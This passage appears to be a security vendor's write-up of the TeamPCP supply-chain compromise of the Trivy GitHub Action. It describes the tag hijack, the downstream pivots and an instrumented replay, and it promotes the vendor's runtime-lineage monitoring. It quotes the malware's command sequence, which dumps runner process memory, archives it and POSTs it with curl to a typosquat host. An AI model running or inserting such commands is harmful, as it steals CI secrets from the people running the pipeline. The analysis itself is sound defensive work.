bash scraped runner secrets from /proc/<pid>/mem and exfiltrated them to a typosquat host. Both paths ran under the same workflow run, and only the runtime lineage shows them together.TeamPCP force-pushed 76 of 77 version tags in aquasecurity/trivy-action and all 7 tags in setup-trivy to malicious commits; the injected entrypoint.sh harvested CI secrets from runner memory via /proc/<pid>/mem reads, encrypted the haul with AES-256 + RSA-4096, and exfiltrated it as tpcp.tar.gz to scan.aquasecurtiy[.]org, and those stolen credentials were later used to pivot into other vendors — including Checkmarx — as documented in our KICS field note. Aqua Security published remediation guidance, Microsoft issued detection guidance for the Trivy-specific wave, and the broader consensus held that mutable tags plus blind trust in “security” actions created a high-blast-radius supply chain event.
What Garnet observed
Method: Instrumented replay of the compromised Trivy action (TeamPCP Attack Replay (Garnet Instrumented)) in jadoonf/trivy-threat-research — the same /proc/*/mem scrape, encoding, and egress technique pattern used across the poisoned tags.
The attack chain
Execution lineage
Run 23612133106 · jadoonf/trivy-threat-research
TeamPCP Attack Replay (Garnet Instrumented)
The lineage shows two branches in one workflow tree. The expected branch runs entrypoint.sh and reaches check.trivy.dev for scanner traffic. A sibling shell branch reaches scan.aquasecurtiy[.]org in the same run, which is where the credential-stealer path diverges from normal Trivy behavior.
The compromised payload family in this branch follows a /proc memory-scrape and archive pattern before egress. Public reporting and replay telemetry align on this command class:
# Observed payload class in compromised Trivy runs
cat /proc/<runner_worker_pid>/mem > /tmp/tpcp.mem
tar -czf /tmp/tpcp.tar.gz /tmp/tpcp.mem
curl -X POST https://scan.aquasecurtiy[.]org --data-binary @/tmp/tpcp.tar.gzpython3.12 also reaches Internet Computer boundary and canister endpoints (*.icp0.io) from the broader campaign, while runner node traffic continues to Azure Blob and GitHub Actions. That coexistence matters: benign scanner traffic and hostile branch traffic are concurrent, not sequential, so logs from only one branch can look clean.
Garnet correlates that branch with the same signal families throughout the replay: interpreter shell spawns, procfs-backed code modification, hidden ELF execution, execution from unusual paths, and data-encoding stages before egress. The result is a coherent stealer fingerprint even while the Trivy scan itself exits successfully.
This incident is a CI-shaped example of a broader untrusted-execution problem. The same trust boundary appears when AI agents run generated code or when third-party dependencies execute in automation environments. The question stays constant: do you have ancestry plus egress receipts from the kernel, or only logs from the branch that looked normal?
Real-world impact
Any workflow that resolved a mutable Trivy tag during the compromise window pulled attacker-controlled code. Stolen tokens enabled follow-on compromises across the ecosystem — TeamPCP used exfiltrated credentials to pivot into Checkmarx KICS, LiteLLM, and Telnyx in the days that followed.
Explore the run profile above, or start observing your own workflows with Garnet.